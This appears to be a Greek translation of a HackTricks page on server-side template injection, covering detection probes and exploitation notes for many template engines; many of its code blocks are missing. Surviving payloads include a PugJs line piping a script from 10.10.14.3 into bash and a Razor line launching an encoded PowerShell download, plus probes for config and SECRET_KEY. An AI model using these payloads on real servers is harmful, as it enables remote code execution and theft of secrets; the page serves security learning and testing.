SSTI (Server Side Template Injection)
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F916570657-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fr3Cb8nKOYrlGZdSyjbAy%252Fuploads%252Fgit-blob-9b4be1f505608769d43f6dc95da85f837f25b869%252Fimage%2520%28641%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=98f4f9f&sv=1)
RootedCON είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην Ισπανία και μία από τις πιο σημαντικές στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
Τι είναι το SSTI (Server-Side Template Injection)
Η ένεση προτύπου πλευράς διακομιστή είναι μια ευπάθεια που συμβαίνει όταν ένας επιτιθέμενος μπορεί να εισάγει κακόβουλο κώδικα σε ένα πρότυπο που εκτελείται στον διακομιστή. Αυτή η ευπάθεια μπορεί να βρεθεί σε διάφορες τεχνολογίες, συμπεριλαμβανομένου του Jinja.
Το Jinja είναι μια δημοφιλής μηχανή προτύπων που χρησιμοποιείται σε διαδικτυακές εφαρμογές. Ας εξετάσουμε ένα παράδειγμα που δείχνει ένα ευάλωτο απόσπασμα κώδικα χρησιμοποιώντας το Jinja:
Σε αυτόν τον ευάλωτο κώδικα, η παράμετρος name
από το αίτημα του χρήστη περνάει απευθείας στο πρότυπο χρησιμοποιώντας τη λειτουργία render
. Αυτό μπορεί δυνητικά να επιτρέψει σε έναν επιτιθέμενο να εισάγει κακόβουλο κώδικα στην παράμετρο name
, οδηγώντας σε server-side template injection.
Για παράδειγμα, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ένα αίτημα με ένα payload όπως αυτό:
Το payload {{bad-stuff-here}}
εισάγεται στην παράμετρο name
. Αυτό το payload μπορεί να περιέχει οδηγίες Jinja template που επιτρέπουν στον επιτιθέμενο να εκτελέσει μη εξουσιοδοτημένο κώδικα ή να χειριστεί τη μηχανή template, αποκτώντας ενδεχομένως έλεγχο πάνω στον διακομιστή.
Για να αποτραπούν οι ευπάθειες Server-Side Template Injection, οι προγραμματιστές θα πρέπει να διασφαλίσουν ότι η είσοδος του χρήστη είναι σωστά καθαρισμένη και επικυρωμένη πριν εισαχθεί σε templates. Η εφαρμογή επικύρωσης εισόδου και η χρήση τεχνικών διαφυγής που λαμβάνουν υπόψη το πλαίσιο μπορούν να βοηθήσουν στη μείωση του κινδύνου αυτής της ευπάθειας.
Detection
Για να ανιχνευθεί η Server-Side Template Injection (SSTI), αρχικά, η δοκιμή του template είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την εισαγωγή μιας ακολουθίας ειδικών χαρακτήρων (${{<%[%'"}}%\
) στο template και την ανάλυση των διαφορών στην απόκριση του διακομιστή σε κανονικά δεδομένα σε σύγκριση με αυτό το ειδικό payload. Οι δείκτες ευπάθειας περιλαμβάνουν:
Ρίψεις σφαλμάτων, που αποκαλύπτουν την ευπάθεια και ενδεχομένως τη μηχανή template.
Απουσία του payload στην αντανάκλαση, ή μέρη του να λείπουν, υποδηλώνοντας ότι ο διακομιστής το επεξεργάζεται διαφορετικά από τα κανονικά δεδομένα.
Plaintext Context: Διακρίνετε από το XSS ελέγχοντας αν ο διακομιστής αξιολογεί τις εκφράσεις template (π.χ.,
{{7*7}}
,${7*7}
).Code Context: Επιβεβαιώστε την ευπάθεια αλλάζοντας τις παραμέτρους εισόδου. Για παράδειγμα, αλλάζοντας το
greeting
στοhttp://vulnerable-website.com/?greeting=data.username
για να δείτε αν η έξοδος του διακομιστή είναι δυναμική ή στατική, όπως στοgreeting=data.username}}hello
που επιστρέφει το όνομα χρήστη.
Identification Phase
Η αναγνώριση της μηχανής template περιλαμβάνει την ανάλυση μηνυμάτων σφάλματος ή τη χειροκίνητη δοκιμή διαφόρων payloads που είναι συγκεκριμένα για γλώσσες. Κοινά payloads που προκαλούν σφάλματα περιλαμβάνουν ${7/0}
, {{7/0}}
, και <%= 7/0 %>
. Η παρατήρηση της απόκρισης του διακομιστή σε μαθηματικές λειτουργίες βοηθά στην προσδιορισμό της συγκεκριμένης μηχανής template.
Tools
ένας αποδοτικός σαρωτής SSTI + CSTI που χρησιμοποιεί καινοτόμους πολυγλωσσικούς κώδικες.
ένας διαδραστικός πίνακας που περιέχει τους πιο αποτελεσματικούς πολυγλωσσικούς επιθέτες template injection μαζί με τις αναμενόμενες απαντήσεις των 44 πιο σημαντικών μηχανών template.
Exploits
Generic
Σε αυτή τη λίστα λέξεων μπορείτε να βρείτε μεταβλητές που ορίζονται στα περιβάλλοντα ορισμένων από τις μηχανές που αναφέρονται παρακάτω:
Java
Java - Βασική ένεση
Java - Ανάκτηση των μεταβλητών περιβάλλοντος του συστήματος
Java - Ανάκτηση /etc/passwd
FreeMarker (Java)
Μπορείτε να δοκιμάσετε τα payload σας στο https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Τίποτα
${foobar}
Freemarker - Παράκαμψη Sandbox
⚠️ λειτουργεί μόνο σε εκδόσεις Freemarker κάτω από 2.3.30
Περισσότερες πληροφορίες
Στην ενότητα FreeMarker του https://portswigger.net/research/server-side-template-injection
Velocity (Java)
Περισσότερες πληροφορίες
Στην ενότητα Velocity του https://portswigger.net/research/server-side-template-injection
Thymeleaf
Στο Thymeleaf, μια κοινή δοκιμή για ευπάθειες SSTI είναι η έκφραση ${7*7}
, η οποία ισχύει επίσης για αυτή την μηχανή προτύπων. Για πιθανή απομακρυσμένη εκτέλεση κώδικα, μπορούν να χρησιμοποιηθούν εκφράσεις όπως οι εξής:
SpringEL:
OGNL:
Το Thymeleaf απαιτεί αυτές τις εκφράσεις να τοποθετούνται εντός συγκεκριμένων χαρακτηριστικών. Ωστόσο, υποστηρίζεται inline έκφραση για άλλες τοποθεσίες προτύπων, χρησιμοποιώντας σύνταξη όπως [[...]]
ή [(...)]
. Έτσι, μια απλή δοκιμή SSTI μπορεί να μοιάζει με [[${7*7}]]
.
Ωστόσο, η πιθανότητα να λειτουργήσει αυτό το payload είναι γενικά χαμηλή. Η προεπιλεγμένη ρύθμιση του Thymeleaf δεν υποστηρίζει δυναμική δημιουργία προτύπων; τα πρότυπα πρέπει να είναι προκαθορισμένα. Οι προγραμματιστές θα χρειαστεί να υλοποιήσουν τον δικό τους TemplateResolver
για να δημιουργήσουν πρότυπα από συμβολοσειρές σε πραγματικό χρόνο, κάτι που είναι ασυνήθιστο.
Το Thymeleaf προσφέρει επίσης προεπεξεργασία εκφράσεων, όπου οι εκφράσεις εντός διπλών υπογραμμίσεων (__...__
) προεπεξεργάζονται. Αυτή η δυνατότητα μπορεί να χρησιμοποιηθεί στην κατασκευή εκφράσεων, όπως αποδεικνύεται στην τεκμηρίωση του Thymeleaf:
Παράδειγμα Ευπάθειας στο Thymeleaf
Σκεφτείτε το παρακάτω απόσπασμα κώδικα, το οποίο θα μπορούσε να είναι επιρρεπές σε εκμετάλλευση:
Αυτό υποδηλώνει ότι αν η μηχανή προτύπων επεξεργαστεί αυτές τις εισόδους λανθασμένα, μπορεί να οδηγήσει σε απομακρυσμένη εκτέλεση κώδικα που έχει πρόσβαση σε διευθύνσεις URL όπως:
Περισσότερες πληροφορίες
Spring Framework (Java)
Παράκαμψη φίλτρων
Μπορούν να χρησιμοποιηθούν πολλαπλές εκφράσεις μεταβλητών, αν το ${...}
δεν λειτουργεί δοκιμάστε το #{...}
, *{...}
, @{...}
ή ~{...}
.
Διαβάστε το
/etc/passwd
Προσαρμοσμένο σενάριο για τη δημιουργία payload
Περισσότερες Πληροφορίες
Manipulation Άποψης Spring (Java)
Pebble (Java)
{{ someString.toUPPERCASE() }}
Παλαιά έκδοση του Pebble ( < έκδοση 3.0.9):
Νέα έκδοση του Pebble :
Jinjava (Java)
Jinjava είναι ένα έργο ανοιχτού κώδικα που αναπτύχθηκε από την Hubspot, διαθέσιμο στο https://github.com/HubSpot/jinjava/
Jinjava - Εκτέλεση εντολών
Διορθώθηκε από https://github.com/HubSpot/jinjava/pull/230
Περισσότερες πληροφορίες
Hubspot - HuBL (Java)
{% %}
δηλωτές δηλώσεων{{ }}
δηλωτές εκφράσεων{# #}
δηλωτές σχολίων{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Αναζητήστε το "com.hubspot.content.hubl.context.TemplateContextRequest" και ανακαλύψτε το Jinjava project στο Github.
Περισσότερες πληροφορίες
Expression Language - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Η Expression Language (EL) είναι μια θεμελιώδης δυνατότητα που διευκολύνει την αλληλεπίδραση μεταξύ της παρουσίασης (όπως οι ιστοσελίδες) και της λογικής εφαρμογής (όπως τα managed beans) στο JavaEE. Χρησιμοποιείται εκτενώς σε πολλές τεχνολογίες JavaEE για να απλοποιήσει αυτή την επικοινωνία. Οι βασικές τεχνολογίες JavaEE που χρησιμοποιούν EL περιλαμβάνουν:
JavaServer Faces (JSF): Χρησιμοποιεί EL για να συνδέσει τα στοιχεία στις σελίδες JSF με τα αντίστοιχα δεδομένα και ενέργειες στο backend.
JavaServer Pages (JSP): Η EL χρησιμοποιείται σε JSP για την πρόσβαση και την επεξεργασία δεδομένων εντός των σελίδων JSP, διευκολύνοντας τη σύνδεση των στοιχείων της σελίδας με τα δεδομένα της εφαρμογής.
Contexts and Dependency Injection for Java EE (CDI): Η EL ενσωματώνεται με το CDI για να επιτρέπει την απρόσκοπτη αλληλεπίδραση μεταξύ της διαδικτυακής διάταξης και των managed beans, εξασφαλίζοντας μια πιο συνεκτική δομή εφαρμογής.
Ελέγξτε την παρακάτω σελίδα για να μάθετε περισσότερα σχετικά με την εκμετάλλευση των ερμηνευτών EL:
EL - Expression LanguageGroovy (Java)
Οι παρακάτω παρακάμψεις του Security Manager προήλθαν από αυτήν την αναφορά.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2Ffiles.gitbook.com%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-L_2uGJGU7AVNRcqRvEi%252Fuploads%252FelPCTwoecVdnsfjxCZtN%252Fimage.png%3Falt%3Dmedia%26token%3D9ee4ff3e-92dc-471c-abfe-1c25e446a6ed&width=768&dpr=4&quality=100&sign=9c8fe74f&sv=1)
RootedCON είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην Ισπανία και μία από τις πιο σημαντικές στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
Smarty (PHP)
Περισσότερες πληροφορίες
Στην ενότητα Smarty του https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
Twig - Μορφή προτύπου
Περισσότερες πληροφορίες
Στην ενότητα Twig και Twig (Sandboxed) του https://portswigger.net/research/server-side-template-injection
Plates (PHP)
Το Plates είναι μια μηχανή templating εγγενής για PHP, αντλώντας έμπνευση από το Twig. Ωστόσο, σε αντίθεση με το Twig, το οποίο εισάγει μια νέα σύνταξη, το Plates αξιοποιεί τον εγγενή κώδικα PHP στα templates, καθιστώντας το διαισθητικό για τους προγραμματιστές PHP.
Controller:
Σελίδα πρότυπου:
Διάταξη προτύπου:
Περισσότερες πληροφορίες
PHPlib και HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB είναι το ίδιο με το PHPlib αλλά μεταφερμένο στο Pear.
authors.tpl
authors.php
Περισσότερες πληροφορίες
Jade (NodeJS)
Περισσότερες πληροφορίες
Στην ενότητα Jade του https://portswigger.net/research/server-side-template-injection
patTemplate (PHP)
patTemplate μη-συμπληρωματική μηχανή templating PHP, που χρησιμοποιεί XML tags για να διαιρέσει ένα έγγραφο σε διάφορα μέρη
Περισσότερες πληροφορίες
Handlebars (NodeJS)
Διαδρομή Traversal (περισσότερες πληροφορίες εδώ).
= Σφάλμα
${7*7} = ${7*7}
Τίποτα
Περισσότερες πληροφορίες
JsRender (NodeJS)
Πρότυπο | Περιγραφή |
Αξιολόγηση και απόδοση εξόδου | |
Αξιολόγηση και απόδοση HTML κωδικοποιημένου εξόδου | |
Σχόλιο | |
και | Επιτρέπεται ο κώδικας (απενεργοποιημένο από προεπιλογή) |
= 49
Client Side
Εξυπηρετητής Πλευράς
Περισσότερες πληροφορίες
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Παράδειγμα απόδοσης πλευράς διακομιστή
Περισσότερες πληροφορίες
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = Χωρίς έξοδο
#{7*7} = #{7*7}
{{console.log(1)}} = Σφάλμα
Περισσότερες πληροφορίες
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Σφάλμα
Περισσότερες πληροφορίες
Slim (Ruby)
{ 7 * 7 }
Περισσότερες πληροφορίες
Python
Δείτε την παρακάτω σελίδα για να μάθετε κόλπα σχετικά με την εκτέλεση αυθαίρετων εντολών παρακάμπτοντας τα sandboxes στην python:
Bypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
Περισσότερες πληροφορίες
Jinja2 (Python)
Το Jinja2 είναι μια πλήρης μηχανή προτύπων για Python. Έχει πλήρη υποστήριξη unicode, μια προαιρετική ενσωματωμένη εκτελεστική περιβάλλον sandbox, είναι ευρέως χρησιμοποιούμενη και έχει άδεια BSD.
{{7*7}} = Σφάλμα
${7*7} = ${7*7}
{{foobar}} Τίποτα
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Μορφή προτύπου
RCE που δεν εξαρτάται από __builtins__
:
Περισσότερες λεπτομέρειες σχετικά με το πώς να εκμεταλλευτείτε το Jinja:
Jinja2 SSTIΆλλες payloads στο https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
Περισσότερες πληροφορίες
Razor (.Net)
@(2+2) <= Επιτυχία
@() <= Επιτυχία
@("{{code}}") <= Επιτυχία
@ <=Επιτυχία
@{} <= ΣΦΑΛΜΑ!
@{ <= ΣΦΑΛΜΑ!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Η μέθοδος .NET
System.Diagnostics.Process.Start
μπορεί να χρησιμοποιηθεί για να ξεκινήσει οποιαδήποτε διαδικασία στον διακομιστή και έτσι να δημιουργήσει ένα webshell. Μπορείτε να βρείτε ένα παράδειγμα ευάλωτης εφαρμογής ιστού στο https://github.com/cnotin/RazorVulnerableApp
Περισσότερες πληροφορίες
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Τίποτα<%= response.write(date()) %>
= <Ημερομηνία>
Περισσότερες Πληροφορίες
Mojolicious (Perl)
Ακόμα και αν είναι Perl, χρησιμοποιεί ετικέτες όπως το ERB στη Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Error
SSTI in GO
Στη μηχανή προτύπων του Go, η επιβεβαίωση της χρήσης της μπορεί να γίνει με συγκεκριμένα payloads:
{{ . }}
: Αποκαλύπτει τη δομή δεδομένων εισόδου. Για παράδειγμα, αν περαστεί ένα αντικείμενο με ένα χαρακτηριστικόPassword
, το{{ .Password }}
θα μπορούσε να το εκθέσει.{{printf "%s" "ssti" }}
: Αναμένεται να εμφανίσει τη συμβολοσειρά "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Αυτά τα payloads θα πρέπει να επιστρέφουν "ssti" χωρίς να προσθέτουν "html" ή "js". Περαιτέρω οδηγίες μπορούν να εξερευνηθούν στην τεκμηρίωση του Go εδώ.
XSS Exploitation
Με το πακέτο text/template
, το XSS μπορεί να είναι απλό εισάγοντας το payload απευθείας. Αντίθετα, το πακέτο html/template
κωδικοποιεί την απάντηση για να το αποτρέψει (π.χ., {{"<script>alert(1)</script>"}}
έχει ως αποτέλεσμα <script>alert(1)</script>
). Παρ' όλα αυτά, ο ορισμός και η κλήση προτύπων στο Go μπορούν να παρακάμψουν αυτή την κωδικοποίηση: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Exploitation
Η εκμετάλλευση RCE διαφέρει σημαντικά μεταξύ html/template
και text/template
. Το module text/template
επιτρέπει την άμεση κλήση οποιασδήποτε δημόσιας συνάρτησης (χρησιμοποιώντας την τιμή “call”), κάτι που δεν επιτρέπεται στο html/template
. Η τεκμηρίωση για αυτά τα modules είναι διαθέσιμη εδώ για html/template και εδώ για text/template.
Για RCE μέσω SSTI στο Go, μπορούν να κληθούν μέθοδοι αντικειμένων. Για παράδειγμα, αν το παρεχόμενο αντικείμενο έχει μια μέθοδο System
που εκτελεί εντολές, μπορεί να εκμεταλλευτεί όπως {{ .System "ls" }}
. Η πρόσβαση στον πηγαίο κώδικα είναι συνήθως απαραίτητη για να εκμεταλλευτεί αυτό, όπως στο δοθέν παράδειγμα:
Περισσότερες πληροφορίες
Περισσότερες Εκμεταλλεύσεις
Ελέγξτε το υπόλοιπο του https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection για περισσότερες εκμεταλλεύσεις. Επίσης, μπορείτε να βρείτε ενδιαφέρουσες πληροφορίες σχετικά με ετικέτες στο https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Σχετική Βοήθεια
Αν νομίζετε ότι θα μπορούσε να είναι χρήσιμο, διαβάστε:
Εργαλεία
Λίστα Ανίχνευσης Brute-Force
Πρακτική & Αναφορές
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2Ffiles.gitbook.com%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-L_2uGJGU7AVNRcqRvEi%252Fuploads%252FelPCTwoecVdnsfjxCZtN%252Fimage.png%3Falt%3Dmedia%26token%3D9ee4ff3e-92dc-471c-abfe-1c25e446a6ed&width=768&dpr=4&quality=100&sign=9c8fe74f&sv=1)
RootedCON είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην Ισπανία και μία από τις πιο σημαντικές στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated